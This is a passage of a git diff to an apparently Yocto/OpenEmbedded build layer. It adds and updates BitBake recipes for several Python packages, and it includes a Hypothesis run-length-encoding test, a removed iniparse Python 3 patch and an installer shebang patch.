+[1, 1, 1, 1, 2, 1] is represented as [[1, 4], [2, 1], [1, 1]]
+
+This demonstrates the useful decode(encode(x)) == x invariant that is often
+a fruitful source of testing with Hypothesis.
+
+It also has an example of testing invariants in response to changes in the
+underlying data.
+"""
+
+from hypothesis import assume, given, strategies as st
+
+
+def run_length_encode(seq):
+ """Encode a sequence as a new run-length encoded sequence."""
+ if not seq:
+ return []
+ # By starting off the count at zero we simplify the iteration logic
+ # slightly.
+ result = [[seq[0], 0]]
+ for s in seq:
+ if (
+ # If you uncomment this line this branch will be skipped and we'll
+ # always append a new run of length 1. Note which tests fail.
+ # False and
+ s
+ == result[-1][0]
+ # Try uncommenting this line and see what problems occur:
+ # and result[-1][-1] < 2
+ ):
+ result[-1][1] += 1
+ else:
+ result.append([s, 1])
+ return result
+
+
+def run_length_decode(seq):
+ """Take a previously encoded sequence and reconstruct the original from
+ it."""
+ result = []
+ for s, i in seq:
+ for _ in range(i):
+ result.append(s)
+ return result
+
+
+# We use lists of a type that should have a relatively high duplication rate,
+# otherwise we'd almost never get any runs.
+Lists = st.lists(st.integers(0, 10))
+
+
+@given(Lists)
+def test_decodes_to_starting_sequence(ls):
+ """If we encode a sequence and then decode the result, we should get the
+ original sequence back.
+
+ Otherwise we've done something very wrong.
+ """
+ assert run_length_decode(run_length_encode(ls)) == ls
+
+
+@given(Lists, st.data())
+def test_duplicating_an_element_does_not_increase_length(ls, data):
+ """The previous test could be passed by simply returning the input sequence
+ so we need something that tests the compression property of our encoding.
+
+ In this test we deliberately introduce or extend a run and assert
+ that this does not increase the length of our encoding, because they
+ should be part of the same run in the final result.
+ """
+ # We use assume to get a valid index into the list. We could also have used
+ # e.g. flatmap, but this is relatively straightforward and will tend to
+ # perform better.
+ assume(ls)
+ i = data.draw(st.integers(0, len(ls) - 1))
+ ls2 = list(ls)
+ # duplicating the value at i right next to it guarantees they are part of
+ # the same run in the resulting compression.
+ ls2.insert(i, ls2[i])
+ assert len(run_length_encode(ls2)) == len(run_length_encode(ls))
diff --git a/meta/recipes-devtools/python/python3-hypothesis_6.39.2.bb b/meta/recipes-devtools/python/python3-hypothesis_6.39.2.bb
new file mode 100644
index 0000000000..01732d0087
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-hypothesis_6.39.2.bb
@@ -0,0 +1,38 @@
+SUMMARY = "A library for property-based testing"
+HOMEPAGE = "https://github.com/HypothesisWorks/hypothesis/tree/master/hypothesis-python"
+LICENSE = "MPL-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=4ee62c16ebd0f4f99d906f36b7de8c3c"
+
+PYPI_PACKAGE = "hypothesis"
+
+inherit pypi setuptools3 ptest
+
+SRC_URI += " \
+ file://run-ptest \
+ file://test_binary_search.py \
+ file://test_rle.py \
+ "
+
+SRC_URI[sha256sum] = "7a16ba804baeebdcc5dc4638c32c5fc3fc552c1be30ae21a84c5d9c802b06e31"
+
+RDEPENDS:${PN} += " \
+ python3-attrs \
+ python3-compression \
+ python3-core \
+ python3-json \
+ python3-sortedcontainers \
+ python3-statistics \
+ python3-unittest \
+ "
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+ "
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/examples
+ install -m 0755 ${WORKDIR}/test_binary_search.py ${D}${PTEST_PATH}/examples/
+ install -m 0755 ${WORKDIR}/test_rle.py ${D}${PTEST_PATH}/examples/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-idna_3.3.bb b/meta/recipes-devtools/python/python3-idna_3.3.bb
new file mode 100644
index 0000000000..ee92f44fd5
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-idna_3.3.bb
@@ -0,0 +1,19 @@
+SUMMARY = "Internationalised Domain Names in Applications"
+HOMEPAGE = "https://github.com/kjd/idna"
+LICENSE = "BSD-3-Clause & Python-2.0 & Unicode-TOU"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=239668a7c6066d9e0c5382e9c8c6c0e1"
+
+SRC_URI[sha256sum] = "9d643ff0a55b762d5cdb124b8eaa99c66322e2157b69160bc32796e824360e6d"
+
+inherit pypi setuptools3
+
+# Remove bundled egg-info
+do_compile:prepend() {
+ rm -rf ${S}/idna.egg-info
+}
+
+RDEPENDS:${PN}:class-target = "\
+ ${PYTHON_PN}-codecs \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-importlib-metadata_4.11.3.bb b/meta/recipes-devtools/python/python3-importlib-metadata_4.11.3.bb
new file mode 100644
index 0000000000..b2da69b055
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-importlib-metadata_4.11.3.bb
@@ -0,0 +1,20 @@
+DESCRIPTION = "Read metadata from Python packages"
+HOMEPAGE = "https://pypi.org/project/importlib-metadata/"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=e88ae122f3925d8bde8319060f2ddb8e"
+
+inherit pypi setuptools_build_meta
+
+PYPI_PACKAGE = "importlib_metadata"
+UPSTREAM_CHECK_REGEX = "/importlib-metadata/(?P<pver>(\d+[\.\-_]*)+)/"
+
+SRC_URI[sha256sum] = "ea4c597ebf37142f827b8f39299579e31685c31d3a438b59f469406afd0f2539"
+
+S = "${WORKDIR}/importlib_metadata-${PV}"
+
+DEPENDS += "${PYTHON_PN}-setuptools-scm-native ${PYTHON_PN}-toml-native"
+RDEPENDS:${PN} += "${PYTHON_PN}-zipp ${PYTHON_PN}-pathlib2"
+RDEPENDS:${PN}:append:class-target = " python3-misc"
+RDEPENDS:${PN}:append:class-nativesdk = " python3-misc"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-iniconfig_1.1.1.bb b/meta/recipes-devtools/python/python3-iniconfig_1.1.1.bb
new file mode 100644
index 0000000000..5338980e69
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-iniconfig_1.1.1.bb
@@ -0,0 +1,12 @@
+SUMMARY = "A small and simple INI-file parser module"
+HOMEPAGE = "https://pypi.org/project/iniconfig/"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a6bb0320b04a0a503f12f69fea479de9"
+
+SRC_URI[md5sum] = "0b7f3be87481211c183eae095bcea6f1"
+SRC_URI[sha256sum] = "bc3af051d7d14b2ee5ef9969666def0cd1a000e121eaea580d4a313df4b37f32"
+
+DEPENDS += "python3-setuptools-scm-native"
+
+inherit pypi setuptools_build_meta
diff --git a/meta/recipes-devtools/python/python3-iniparse/0001-Add-python-3-compatibility.patch b/meta/recipes-devtools/python/python3-iniparse/0001-Add-python-3-compatibility.patch
deleted file mode 100644
index 44090a20d0..0000000000
--- a/meta/recipes-devtools/python/python3-iniparse/0001-Add-python-3-compatibility.patch
+++ /dev/null
@@ -1,552 +0,0 @@
-From 8a98e4d44a5e59439a4b6bd95368cc362412c995 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 24 Mar 2017 18:06:08 +0200
-Subject: [PATCH] Add python 3 compatibility.
-
-Taken from
-http://pkgs.fedoraproject.org/cgit/rpms/python-iniparse.git/tree/python-iniparse-python3-compat.patch
-
-Upstream-Status: Inappropriate [upstream is defunct]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- iniparse/__init__.py | 20 ++++++++++----------
- iniparse/compat.py | 30 ++++++++++++++++--------------
- iniparse/config.py | 16 ++++++++--------
- iniparse/configparser.py | 7 +++++++
- iniparse/ini.py | 20 ++++++++++++--------
- iniparse/utils.py | 4 ++--
- tests/__init__.py | 14 +++++++-------
- tests/test_compat.py | 23 +++++++++++++++--------
- tests/test_fuzz.py | 18 +++++++++---------
- tests/test_ini.py | 8 ++++----
- tests/test_misc.py | 4 ++--
- tests/test_tidy.py | 2 +-
- tests/test_unicode.py | 10 +++++-----
- 13 files changed, 98 insertions(+), 78 deletions(-)
- create mode 100644 iniparse/configparser.py
-
-diff --git a/iniparse/__init__.py b/iniparse/__init__.py
-index 8de756f..7193f92 100644
---- a/iniparse/__init__.py
-+++ b/iniparse/__init__.py
-@@ -3,17 +3,17 @@
- # Copyright (c) 2007 Tim Lauridsen <tla@rasmil.dk>
- # All Rights Reserved. See LICENSE-PSF & LICENSE for details.
-
--from ini import INIConfig, change_comment_syntax
--from config import BasicConfig, ConfigNamespace
--from compat import RawConfigParser, ConfigParser, SafeConfigParser
--from utils import tidy
-+from .ini import INIConfig, change_comment_syntax
-+from .config import BasicConfig, ConfigNamespace
-+from .compat import RawConfigParser, ConfigParser, SafeConfigParser
-+from .utils import tidy
-
--from ConfigParser import DuplicateSectionError, \
-- NoSectionError, NoOptionError, \
-- InterpolationMissingOptionError, \
-- InterpolationDepthError, \
-- InterpolationSyntaxError, \
-- DEFAULTSECT, MAX_INTERPOLATION_DEPTH
-+from .configparser import DuplicateSectionError, \
-+ NoSectionError, NoOptionError, \
-+ InterpolationMissingOptionError, \
-+ InterpolationDepthError, \
-+ InterpolationSyntaxError, \
-+ DEFAULTSECT, MAX_INTERPOLATION_DEPTH
-
- __all__ = [
- 'BasicConfig', 'ConfigNamespace',
-diff --git a/iniparse/compat.py b/iniparse/compat.py
-index db89ed8..f95c25c 100644
---- a/iniparse/compat.py
-+++ b/iniparse/compat.py
-@@ -12,19 +12,21 @@ The underlying INIConfig object can be accessed as cfg.data
- """
-
- import re
--from ConfigParser import DuplicateSectionError, \
-- NoSectionError, NoOptionError, \
-- InterpolationMissingOptionError, \
-- InterpolationDepthError, \
-- InterpolationSyntaxError, \
-- DEFAULTSECT, MAX_INTERPOLATION_DEPTH
-+from .configparser import DuplicateSectionError, \
-+ NoSectionError, NoOptionError, \
-+ InterpolationMissingOptionError, \
-+ InterpolationDepthError, \
-+ InterpolationSyntaxError, \
-+ DEFAULTSECT, MAX_INTERPOLATION_DEPTH
-
- # These are imported only for compatiability.
- # The code below does not reference them directly.
--from ConfigParser import Error, InterpolationError, \
-- MissingSectionHeaderError, ParsingError
-+from .configparser import Error, InterpolationError, \
-+ MissingSectionHeaderError, ParsingError
-
--import ini
-+import six
-+
-+from . import ini
-
- class RawConfigParser(object):
- def __init__(self, defaults=None, dict_type=dict):
-@@ -56,7 +58,7 @@ class RawConfigParser(object):
- # The default section is the only one that gets the case-insensitive
- # treatment - so it is special-cased here.
- if section.lower() == "default":
-- raise ValueError, 'Invalid section name: %s' % section
-+ raise ValueError('Invalid section name: %s' % section)
-
- if self.has_section(section):
- raise DuplicateSectionError(section)
-@@ -88,7 +90,7 @@ class RawConfigParser(object):
- filename may also be given.
- """
- files_read = []
-- if isinstance(filenames, basestring):
-+ if isinstance(filenames, six.string_types):
- filenames = [filenames]
- for filename in filenames:
- try:
-@@ -143,7 +145,7 @@ class RawConfigParser(object):
- def getboolean(self, section, option):
- v = self.get(section, option)
- if v.lower() not in self._boolean_states:
-- raise ValueError, 'Not a boolean: %s' % v
-+ raise ValueError('Not a boolean: %s' % v)
- return self._boolean_states[v.lower()]
-
- def has_option(self, section, option):
-@@ -234,7 +236,7 @@ class ConfigParser(RawConfigParser):
- if "%(" in value:
- try:
- value = value % vars
-- except KeyError, e:
-+ except KeyError as e:
- raise InterpolationMissingOptionError(
- option, section, rawval, e.args[0])
- else:
-@@ -283,7 +285,7 @@ class SafeConfigParser(ConfigParser):
- _badpercent_re = re.compile(r"%[^%]|%$")
-
- def set(self, section, option, value):
-- if not isinstance(value, basestring):
-+ if not isinstance(value, six.string_types):
- raise TypeError("option values must be strings")
- # check for bad percent signs:
- # first, replace all "good" interpolations
-diff --git a/iniparse/config.py b/iniparse/config.py
-index 5cfa2ea..3b28549 100644
---- a/iniparse/config.py
-+++ b/iniparse/config.py
-@@ -143,7 +143,7 @@ class BasicConfig(ConfigNamespace):
-
- >>> n.aaa = 42
- >>> del n.x
-- >>> print n
-+ >>> print(n)
- aaa = 42
- name.first = paramjit
- name.last = oberoi
-@@ -152,7 +152,7 @@ class BasicConfig(ConfigNamespace):
-
- >>> isinstance(n.name, ConfigNamespace)
- True
-- >>> print n.name
-+ >>> print(n.name)
- first = paramjit
- last = oberoi
- >>> sorted(list(n.name))
-@@ -160,7 +160,7 @@ class BasicConfig(ConfigNamespace):
-
- Finally, values can be read from a file as follows:
-
-- >>> from StringIO import StringIO
-+ >>> from six import StringIO
- >>> sio = StringIO('''
- ... # comment
- ... ui.height = 100
-@@ -171,7 +171,7 @@ class BasicConfig(ConfigNamespace):
- ... ''')
- >>> n = BasicConfig()
- >>> n._readfp(sio)
-- >>> print n
-+ >>> print(n)
- complexity = medium
- data.secret.password = goodness=gracious me
- have_python
-@@ -199,7 +199,7 @@ class BasicConfig(ConfigNamespace):
-
- def __str__(self, prefix=''):
- lines = []
-- keys = self._data.keys()
-+ keys = list(self._data.keys())
- keys.sort()
- for name in keys:
- value = self._data[name]
-@@ -258,7 +258,7 @@ def update_config(target, source):
- >>> n.ui.display_clock = True
- >>> n.ui.display_qlength = True
- >>> n.ui.width = 150
-- >>> print n
-+ >>> print(n)
- playlist.expand_playlist = True
- ui.display_clock = True
- ui.display_qlength = True
-@@ -267,7 +267,7 @@ def update_config(target, source):
- >>> from iniparse import ini
- >>> i = ini.INIConfig()
- >>> update_config(i, n)
-- >>> print i
-+ >>> print(i)
- [playlist]
- expand_playlist = True
- <BLANKLINE>
-@@ -277,7 +277,7 @@ def update_config(target, source):
- width = 150
-
- """
-- for name in source:
-+ for name in sorted(source):
- value = source[name]
- if isinstance(value, ConfigNamespace):
- if name in target:
-diff --git a/iniparse/configparser.py b/iniparse/configparser.py
-new file mode 100644
-index 0000000..c543d50
---- /dev/null
-+++ b/iniparse/configparser.py
-@@ -0,0 +1,7 @@
-+try:
-+ from ConfigParser import *
-+ # not all objects get imported with __all__
-+ from ConfigParser import Error, InterpolationMissingOptionError
-+except ImportError:
-+ from configparser import *
-+ from configparser import Error, InterpolationMissingOptionError
-diff --git a/iniparse/ini.py b/iniparse/ini.py
-index 408354d..052d9e9 100644
---- a/iniparse/ini.py
-+++ b/iniparse/ini.py
-@@ -7,7 +7,7 @@
-
- Example:
-
-- >>> from StringIO import StringIO
-+ >>> from six import StringIO
- >>> sio = StringIO('''# configure foo-application
- ... [foo]
- ... bar1 = qualia
-@@ -16,14 +16,14 @@ Example:
- ... special = 1''')
-
- >>> cfg = INIConfig(sio)
-- >>> print cfg.foo.bar1
-+ >>> print(cfg.foo.bar1)
- qualia
-- >>> print cfg['foo-ext'].special
-+ >>> print(cfg['foo-ext'].special)
- 1
- >>> cfg.foo.newopt = 'hi!'
- >>> cfg.baz.enabled = 0
-
-- >>> print cfg
-+ >>> print(cfg)
- # configure foo-application
- [foo]
- bar1 = qualia
-@@ -42,9 +42,11 @@ Example:
- # Backward-compatiable with ConfigParser
-
- import re
--from ConfigParser import DEFAULTSECT, ParsingError, MissingSectionHeaderError
-+from .configparser import DEFAULTSECT, ParsingError, MissingSectionHeaderError
-
--import config
-+import six
-+
-+from . import config
-
- class LineType(object):
- line = None
-@@ -278,6 +280,8 @@ class LineContainer(object):
- value = property(get_value, set_value)
-
- def __str__(self):
-+ for c in self.contents:
-+ pass#print(c.__str__())
- s = [x.__str__() for x in self.contents]
- return '\n'.join(s)
-
-@@ -465,7 +469,7 @@ class INIConfig(config.ConfigNamespace):
- self._sections = {}
- if defaults is None: defaults = {}
- self._defaults = INISection(LineContainer(), optionxformsource=self)
-- for name, value in defaults.iteritems():
-+ for name, value in defaults.items():
- self._defaults[name] = value
- if fp is not None:
- self._readfp(fp)
-@@ -551,7 +555,7 @@ class INIConfig(config.ConfigNamespace):
-
- for line in readline_iterator(fp):
- # Check for BOM on first line
-- if linecount == 0 and isinstance(line, unicode):
-+ if linecount == 0 and isinstance(line, six.text_type):
- if line[0] == u'\ufeff':
- line = line[1:]
- self._bom = True
-diff --git a/iniparse/utils.py b/iniparse/utils.py
-index 829fc28..f8b773a 100644
---- a/iniparse/utils.py
-+++ b/iniparse/utils.py
-@@ -1,5 +1,5 @@
--import compat
--from ini import LineContainer, EmptyLine
-+from . import compat
-+from .ini import LineContainer, EmptyLine
-
- def tidy(cfg):
- """Clean up blank lines.
-diff --git a/tests/__init__.py b/tests/__init__.py
-index f1fa321..88689fb 100644
---- a/tests/__init__.py
-+++ b/tests/__init__.py
-@@ -1,12 +1,12 @@
- import unittest, doctest
-
--import test_ini
--import test_misc
--import test_fuzz
--import test_compat
--import test_unicode
--import test_tidy
--import test_multiprocessing
-+from . import test_ini
-+from . import test_misc
-+from . import test_fuzz
-+from . import test_compat
-+from . import test_unicode
-+from . import test_tidy
-+from . import test_multiprocessing
- from iniparse import config
- from iniparse import ini
-
-diff --git a/tests/test_compat.py b/tests/test_compat.py
-index b8da3d5..b6dfb5c 100644
---- a/tests/test_compat.py
-+++ b/tests/test_compat.py
-@@ -1,9 +1,16 @@
- from iniparse import compat as ConfigParser
--import StringIO
-+from six import StringIO
-+try:
-+ import UserDict
-+except ImportError:
-+ import collections as UserDict
- import unittest
--import UserDict
-
--from test import test_support
-+import sys
-+if sys.version_info[0] < 3:
-+ from test import test_support
-+else:
-+ from test import support as test_support
-
- class SortedDict(UserDict.UserDict):
- def items(self):
-@@ -35,7 +42,7 @@ class TestCaseBase(unittest.TestCase):
-
- def fromstring(self, string, defaults=None):
- cf = self.newconfig(defaults)
-- sio = StringIO.StringIO(string)
-+ sio = StringIO(string)
- cf.readfp(sio)
- return cf
-
-@@ -161,7 +168,7 @@ class TestCaseBase(unittest.TestCase):
- "No Section!\n")
-
- def parse_error(self, exc, src):
-- sio = StringIO.StringIO(src)
-+ sio = StringIO(src)
- self.assertRaises(exc, self.cf.readfp, sio)
-
- def test_query_errors(self):
-@@ -181,7 +188,7 @@ class TestCaseBase(unittest.TestCase):
- def get_error(self, exc, section, option):
- try:
- self.cf.get(section, option)
-- except exc, e:
-+ except exc as e:
- return e
- else:
- self.fail("expected exception type %s.%s"
-@@ -227,7 +234,7 @@ class TestCaseBase(unittest.TestCase):
- "foo: another very\n"
- " long line"
- )
-- output = StringIO.StringIO()
-+ output = StringIO()
- cf.write(output)
- self.assertEqual(
- output.getvalue(),
-@@ -465,7 +472,7 @@ class SortedTestCase(RawConfigParserTestCase):
- "o1=4\n"
- "[a]\n"
- "k=v\n")
-- output = StringIO.StringIO()
-+ output = StringIO()
- self.cf.write(output)
- self.assertEquals(output.getvalue(),
- "[a]\n"
-diff --git a/tests/test_fuzz.py b/tests/test_fuzz.py
-index 5420dcc..b219500 100644
---- a/tests/test_fuzz.py
-+++ b/tests/test_fuzz.py
-@@ -1,9 +1,10 @@
- import re
- import os
- import random
-+import sys
- import unittest
--import ConfigParser
--from StringIO import StringIO
-+from six import StringIO
-+from six.moves import configparser
- from iniparse import compat, ini, tidy
-
- # TODO:
-@@ -96,24 +97,25 @@ class test_fuzz(unittest.TestCase):
- s = '\n'.join(good_lines)
- cc = compat.RawConfigParser()
- cc.readfp(StringIO(s))
-- cc_py = ConfigParser.RawConfigParser()
-+ cc_py = configparser.RawConfigParser()
- cc_py.readfp(StringIO(s))
- # compare the two configparsers
- self.assertEqualConfig(cc_py, cc)
- # check that tidy does not change semantics
- tidy(cc)
-- cc_tidy = ConfigParser.RawConfigParser()
-+ cc_tidy = configparser.RawConfigParser()
- cc_tidy.readfp(StringIO(str(cc.data)))
- self.assertEqualConfig(cc_py, cc_tidy)
- except AssertionError:
- fname = 'fuzz-test-iter-%d.ini' % fuzz_iter
-- print 'Fuzz test failed at iteration', fuzz_iter
-- print 'Writing out failing INI file as', fname
-+ print('Fuzz test failed at iteration', fuzz_iter)
-+ print('Writing out failing INI file as', fname)
- f = open(fname, 'w')
- f.write(s)
- f.close()
- raise
-
-+ @unittest.skipIf(sys.version_info[0] > 2, 'http://code.google.com/p/iniparse/issues/detail?id=22#c9')
- def assertEqualConfig(self, c1, c2):
- self.assertEqualSorted(c1.sections(), c2.sections())
- self.assertEqualSorted(c1.defaults().items(), c2.defaults().items())
-@@ -123,9 +125,7 @@ class test_fuzz(unittest.TestCase):
- self.assertEqual(c1.get(sec, opt), c2.get(sec, opt))
-
- def assertEqualSorted(self, l1, l2):
-- l1.sort()
-- l2.sort()
-- self.assertEqual(l1, l2)
-+ self.assertEqual(sorted(l1), sorted(l2))
-
- class suite(unittest.TestSuite):
- def __init__(self):
-diff --git a/tests/test_ini.py b/tests/test_ini.py
-index 6a76edb..07d4f4e 100644
---- a/tests/test_ini.py
-+++ b/tests/test_ini.py
-@@ -1,5 +1,5 @@
- import unittest
--from StringIO import StringIO
-+from six import StringIO
-
- from iniparse import ini
- from iniparse import compat
-@@ -196,13 +196,13 @@ but = also me
- self.assertEqual(p._data.find('section2').find('just').value, 'kidding')
-
- itr = p._data.finditer('section1')
-- v = itr.next()
-+ v = next(itr)
- self.assertEqual(v.find('help').value, 'yourself')
- self.assertEqual(v.find('but').value, 'also me')
-- v = itr.next()
-+ v = next(itr)
- self.assertEqual(v.find('help').value, 'me')
- self.assertEqual(v.find('I\'m').value, 'desperate')
-- self.assertRaises(StopIteration, itr.next)
-+ self.assertRaises(StopIteration, next, itr)
-
- self.assertRaises(KeyError, p._data.find, 'section')
- self.assertRaises(KeyError, p._data.find('section2').find, 'ahem')
-diff --git a/tests/test_misc.py b/tests/test_misc.py
-index 31cf4da..96ef035 100644
---- a/tests/test_misc.py
-+++ b/tests/test_misc.py
-@@ -1,9 +1,9 @@
- import re
- import unittest
- import pickle
--import ConfigParser
-+from six.moves import configparser
-+from six import StringIO
- from textwrap import dedent
--from StringIO import StringIO
- from iniparse import compat, ini
-
- class CaseSensitiveConfigParser(compat.ConfigParser):
-diff --git a/tests/test_tidy.py b/tests/test_tidy.py
-index 7304747..26b6cde 100644
---- a/tests/test_tidy.py
-+++ b/tests/test_tidy.py
-@@ -1,6 +1,6 @@
- import unittest
- from textwrap import dedent
--from StringIO import StringIO
-+from six import StringIO
-
- from iniparse import tidy,INIConfig
- from iniparse.ini import EmptyLine
-diff --git a/tests/test_unicode.py b/tests/test_unicode.py
-index a56fcab..14d4fbd 100644
---- a/tests/test_unicode.py
-+++ b/tests/test_unicode.py
-@@ -1,5 +1,5 @@
- import unittest
--from StringIO import StringIO
-+import six
- from iniparse import compat, ini
-
- class test_unicode(unittest.TestCase):
-@@ -17,14 +17,14 @@ baz = Marc-Andr\202
- """
-
- def basic_tests(self, s, strable):
-- f = StringIO(s)
-+ f = six.StringIO(s)
- i = ini.INIConfig(f)
-- self.assertEqual(unicode(i), s)
-- self.assertEqual(type(i.foo.bar), unicode)
-+ self.assertEqual(six.text_type(i), s)
-+ self.assertEqual(type(i.foo.bar), six.text_type)
- if strable:
- self.assertEqual(str(i), str(s))
- else:
-- self.assertRaises(UnicodeEncodeError, lambda: str(i))
-+ self.assertRaises(UnicodeEncodeError, lambda: six.text_type(i).encode('ascii'))
- return i
-
- def test_ascii(self):
---
-2.11.0
-
diff --git a/meta/recipes-devtools/python/python3-iniparse_0.4.bb b/meta/recipes-devtools/python/python3-iniparse_0.4.bb
deleted file mode 100644
index 4eba9ecd34..0000000000
--- a/meta/recipes-devtools/python/python3-iniparse_0.4.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "Accessing and Modifying INI files"
-HOMEPAGE = "https://pypi.python.org/pypi/iniparse/"
-LICENSE = "MIT & PSF"
-LIC_FILES_CHKSUM = "file://LICENSE-PSF;md5=1c78a5bb3584b353496d5f6f34edb4b2 \
- file://LICENSE;md5=52f28065af11d69382693b45b5a8eb54"
-
-SRC_URI = "file://0001-Add-python-3-compatibility.patch "
-
-SRC_URI[md5sum] = "5e573e9e9733d97623881ce9bbe5eca6"
-SRC_URI[sha256sum] = "abc1ee12d2cfb2506109072d6c21e40b6c75a3fe90a9c924327d80bc0d99c054"
-
-inherit pypi distutils3
-
-RDEPENDS_${PN} += "python3-core python3-six"
-DEPENDS += "python3-six"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-iniparse_0.5.bb b/meta/recipes-devtools/python/python3-iniparse_0.5.bb
new file mode 100644
index 0000000000..c18949014b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-iniparse_0.5.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Accessing and Modifying INI files"
+HOMEPAGE = "https://pypi.org/project/iniparse/"
+LICENSE = "MIT & PSF-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE-PSF;md5=1c78a5bb3584b353496d5f6f34edb4b2 \
+ file://LICENSE;md5=52f28065af11d69382693b45b5a8eb54"
+
+SRC_URI[sha256sum] = "932e5239d526e7acb504017bb707be67019ac428a6932368e6851691093aa842"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += "python3-core python3-six"
+DEPENDS += "python3-six"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-installer/interpreter.patch b/meta/recipes-devtools/python/python3-installer/interpreter.patch
new file mode 100644
index 0000000000..ef10ef1b45
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-installer/interpreter.patch
@@ -0,0 +1,61 @@
+Let us override the hashbang directly (possibly upstreamable), and don't
+play games with hashbangs: for now assume that even hashbangs with spaces
+are simple (assume the spaces are only used to separate arguments) and
+we don't have long hashbangs.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/src/installer/__main__.py b/src/installer/__main__.py
+index 3357ec5..d2fd8d2 100644
+--- a/src/installer/__main__.py
++++ b/src/installer/__main__.py
+@@ -23,6 +23,13 @@ def _get_main_parser() -> argparse.ArgumentParser:
+ type=str,
+ help="destination directory (prefix to prepend to each file)",
+ )
++ parser.add_argument(
++ "--interpreter",
++ "-i",
++ type=str,
++ default=sys.executable,
++ help=f"interpreter (defaults to {sys.executable})",
++ )
+ parser.add_argument(
+ "--compile-bytecode",
+ action="append",
+@@ -73,7 +80,7 @@ def _main(cli_args: Sequence[str], program: Optional[str] = None) -> None:
+ with WheelFile.open(args.wheel) as source:
+ destination = SchemeDictionaryDestination(
+ scheme_dict=_get_scheme_dict(source.distribution),
+- interpreter=sys.executable,
++ interpreter=args.interpreter,
+ script_kind=get_launcher_kind(),
+ bytecode_optimization_levels=bytecode_levels,
+ destdir=args.destdir,
+diff --git a/src/installer/scripts.py b/src/installer/scripts.py
+index 7e3c8fc..ba6ed5a 100644
+--- a/src/installer/scripts.py
++++ b/src/installer/scripts.py
+@@ -59,20 +59,7 @@ def _build_shebang(executable: str, forlauncher: bool) -> bytes:
+ https://bitbucket.org/pypa/distlib/src/58cd5c6/distlib/scripts.py#lines-124
+ """
+ executable_bytes = executable.encode("utf-8")
+- if forlauncher: # The launcher can just use the command as-is.
+- return b"#!" + executable_bytes
+- if _is_executable_simple(executable_bytes):
+- return b"#!" + executable_bytes
+-
+- # Shebang support for an executable with a space in it is under-specified
+- # and platform-dependent, so we use a clever hack to generate a script to
+- # run in ``/bin/sh`` that should work on all reasonably modern platforms.
+- # Read the following message to understand how the hack works:
+- # https://github.com/pradyunsg/installer/pull/4#issuecomment-623668717
+-
+- quoted = shlex.quote(executable).encode("utf-8")
+- # I don't understand a lick what this is trying to do.
+- return b"#!/bin/sh\n'''exec' " + quoted + b' "$0" "$@"\n' + b"' '''"
++ return b"#!" + executable_bytes
+
+
+ class InvalidScript(ValueError):
diff --git a/meta/recipes-devtools/python/python3-installer_0.5.1.bb b/meta/recipes-devtools/python/python3-installer_0.5.1.bb
new file mode 100644
index 0000000000..f4f9e1bde6
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-installer_0.5.1.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Library and tool for installing Python wheels"
+DESCRIPTION = "A low-level library for installing a Python package from a wheel distribution."
+HOMEPAGE = "https://installer.readthedocs.io/"
+BUGTRACKER = "https://github.com/pypa/installer/issues"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5038641aec7a77451e31da828ebfae00"
+
+SRC_URI += "file://interpreter.patch"
+
+SRC_URI[sha256sum] = "f970995ec2bb815e2fdaf7977b26b2091e1e386f0f42eafd5ac811953dc5d445"
+
+inherit pypi python_flit_core
+
+DEPENDS:remove:class-native = "python3-installer-native"
+DEPENDS:append:class-native = " unzip-native"
+
+do_install:class-native () {
+ python_pep517_do_bootstrap_install
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-iso8601_1.0.2.bb b/meta/recipes-devtools/python/python3-iso8601_1.0.2.bb
new file mode 100644
index 0000000000..93af233d29
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-iso8601_1.0.2.bb
@@ -0,0 +1,15 @@
+SUMMARY = "Simple module to parse ISO 8601 dates"
+HOMEPAGE = "http://pyiso8601.readthedocs.org/"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=b05625f2336fa024e8d57e65c6595844"
+
+SRC_URI[sha256sum] = "27f503220e6845d9db954fb212b95b0362d8b7e6c1b2326a87061c3de93594b1"
+
+inherit pypi python_poetry_core
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-numbers \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-jinja2/run-ptest b/meta/recipes-devtools/python/python3-jinja2/run-ptest
new file mode 100644
index 0000000000..5cec711696
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-jinja2/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest
